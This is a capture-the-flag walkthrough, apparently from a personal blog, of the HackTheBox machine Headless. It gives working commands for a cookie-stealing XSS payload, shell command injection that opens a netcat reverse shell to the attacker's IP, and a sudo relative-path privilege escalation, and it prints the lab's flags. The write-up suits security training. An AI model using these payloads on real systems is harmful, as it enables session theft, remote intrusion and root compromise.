HackTheBox | Headless

In this walkthrough, I demonstrate how I obtained complete ownership of Headless on HackTheBox
HackTheBox | Headless
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Tue Jul  9 01:03:18 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.73.136
Nmap scan report for 10.129.73.136
Host is up (0.016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 09 Jul 2024 05:03:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  9 01:05:04 2024 -- 1 IP address (1 host up) scanned in 105.75 seconds
ℹ️
No redirects or any hostnames in the output, but I'm going to make a record in my /etc/hosts file regardless, so that I can just type a hostname instead of a remembering an IP address.
echo -e '10.129.73.136\t\theadless.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/5000

Happy Path Testing

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
  • Clicking the button on the home page sends the client to /support making a HTTP GET request
  • Then, on the /support page we fill out the form with some test data and observe the behavior
    • The data is sent as Content-Type: application/x-www-form-urlencoded
    • There is an is_admin cookie that is submitted with the request
    • The form data is not reflected in the server response
This concludes the happy path testing, as we've nothing left to click around on, no forms to test inputs. We have some interesting observations up front with the form and the is_admin cookie.



Unhappy Path Testing

Gobuster Enumeration

We're going to have see about uncovering some "hidden" or unadvertised directories, pages, and other endpoints to try and find more data.

Directories and Files
gobuster dir -u http://headless.htb:5000 \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-o headless_5000.txt -t 100
/dashboard            (Status: 500) [Size: 265]
/support              (Status: 200) [Size: 2363]
Now, this could be where the is_admin cookie comes into play



Given the Server: Werkzeug/2.2.2 server response header, we know this is a Flask server and should be able to decode the cookie
I did try tampering with different values in the Cookie: header and using flask-unsign to try and crack the key used to sign the cookie, but was unable to make any advances



Form Testing

Test HTML tags to see what kind of filters might be in place
Test Jinja2 templating, as this is probably a Flask server
Both of these examples in the form input caused this warning, so there's some kind of WAF or filter on the form inputs.
💡
If I URL-encode those same inputs, the filter / WAF is not triggered. For example, <h1>test</h1> is encoded to %3c%68%31%3e%74%65%73%74%3c%2f%68%31%3e. Further testing indicates that that filter only seems to apply to the message field as well.

I also tried adding some custom headers to see if they would be logged in the report and they are. So, we may have some control over what goes in the security report.

Also, there are some indications that there might be user interaction with the report data.



Testing the User Interaction Theory

PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings
Using an Ad-Hoc Nginx ... | 0xBEN | Notes
Set up Custom Logging sudo apt install -y libnginx-mod-http-lua Install Nginx LUA libraries su…

I'll be using this Nginx configuration shown here to catch some verbose server logs

# Fill out the form using curl
# Note the -F matches all the form fields in the HTML and Burp
# -H is our custom header containing a xSS payload
# src=x will trigger a load error, which will trigger onerror=...
# onerror="document.location='http://10.10.14.2'" 
  # redirects the client to my web server running at my VPN IP address
# We use '"'"' to nest single quotes inside of single quotes

curl -s -b cookie.txt http://headless.htb:5000/support \
-F fname=test \
-F lname=test \
-F email='test@localhost' \
-F phone=5555555555 \
-F message='{{7*7}}' \
-H 'X-Custom-Header-1: <img src=x onerror="document.location='"'"'http://10.10.14.2'"'"'" />' > /dev/null

Interesting points in the server logs:

  • Remote Addr: 10.129.255.185 is the target's IP, so a client on the server is making the request for the file
  • Referer: http://localhost:5000 the client requested some file at the target's root site before being referred to our server
  • user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 indicates the HTTP client is a Firefox browser running on 64-bit Linux



Attempting to Steal Data from the Client

💡
Note that the client is visiting http://localhost:5000 and then being referred to us by whatever file they fetched. Recall what happens when we visit http://headless.htb:5000...

We get a cookie from the server in the Set-Cookie: ... header. So, it stands to reason that the XSS victim may have a cookie worth stealing.
Note also that in the Set-Cookie header, there is no HttpOnly flag, meaning it can be retrieved using JavaScript, so the inline JavaScript in the onerror= attribute will trigger a read of the client-side cookie.
XSS (Cross Site Scripting) | HackTricks
curl -s -b cookie.txt http://headless.htb:5000/support \
-F fname=test \
-F lname=test \
-F email='test@localhost' \
-F phone=5555555555 \
-F message='{{7*7}}' \
-H 'X-Custom-Header-1: <img src=x onerror="document.location='"'"'http://10.10.14.2/?cookie='"'"'+document.cookie" />' > /dev/null

We just add the +document.cookie to the end of the onerror= attribute to cause the client to read and send the data from its local cookie jar

Nice! We have the admin cookie!
⚠️
If you're following along with the ad-hoc Nginx server, don't forget to follow the step to stop your server once finished



Accessing the Dashboard

In your browser, press CTRL + SHIFT + i or F12 to open the Developer Tools console. We're going to alter the cookie stored in our browser.

Double-click the data in the Value column and paste in the new cookie
Now, we have access to the dashboard page! The input box is simple here, taking only a date and returning only a simple status to us in the green bar.
💡
I clicked Generate Report and captured the request in Burp. Then, I sent it to Repeater to test some different inputs manually. Initially, I'm noticing that characters such as ', ", <, >, (, ) seem to break the output on the page, with a server response length of 2000.

Taking that testing even further, I notice an opening $( also causes the same reaction, with a server response length of 2000. So, this particular input field seems to dislike common shell characters.
If I had to guess, this input field is passing the date input to the date command in the underlying system. So, $( is an opener to a sub-shell, which should allow us command execution.





Exploit

Ping Test

curl -s -H 'Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' http://headless.htb:5000/dashboard -F 'date=$(ping -c 3 10.10.14.2)' > /dev/null



Reverse Shell

sudo nc -lnvp 443

Start a TCP listener to catch data

curl -s -H 'Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' http://headless.htb:5000/dashboard -F 'date=$(man nc | grep "\-e" | nc -q 0 10.10.14.2 443)' > /dev/null

Run man nc on the target, grep for '-e', and send it over the TCP socket and quit after data is sent

We can see that nc on the target has the -e flag, which makes this very easy
sudo rlwrap nc -lnvp 443

Start another TCP listener to catch the reverse shell

curl -s -H 'Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' http://headless.htb:5000/dashboard -F 'date=$(nc 10.10.14.2 443 -e /bin/bash)' > /dev/null

Connect using nc on the target and execute /bin/bash over the TCP socket

python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=linux

Quality-of-life improvements by spawning a TTY for more interactive prompts





Post-Exploit Enumeration

Operating Environment

OS & Kernel

    

Current User

uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck```

</div>

</div>



Users and Groups

Local Users

dvir:x:1000:

Local Groups

users:x:100:dvir
dvir:x:1000:



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:05:ac brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.255.185/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2876sec preferred_lft 2876sec
    inet6 dead:beef::250:56ff:fe94:5ac/64 scope global dynamic mngtmpaddr 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:fe94:5ac/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:35929         0.0.0.0:*               LISTEN      1102/geckodriver    
tcp        0      0 127.0.0.1:40115         0.0.0.0:*               LISTEN      1170/firefox-esr    
tcp        0      0 127.0.0.1:38057         0.0.0.0:*               LISTEN      1170/firefox-esr    
tcp6       0      0 ::1:631                 :::*                    LISTEN      -    





Privilege Escalation

Sudo Privilege Abuse

We can run password-less sudo on /usr/bin/syscheck, which is a bash script

/usr/bin/syscheck

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0
💡
It's easy to miss, but if you read the code carefully, there's an obvious oversight with the invocation of ./initdb.sh. The ./ notation indicates that it will try to load initdb.sh relative to the current location of our user.
# /tmp is a globally writable directory
cd /tmp
# Create an impostor initdb.sh script here
echo -e '#! /bin/bash\n/bin/bash -ip' > initdb.sh
# Make it executable
chmod +x initdb.sh
We are root!



Flags

User

78d286b96bc5397fc9ec5b13e9be4e82    

Root

9d6f238c80236e8cafe4e2fd43b944c1    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.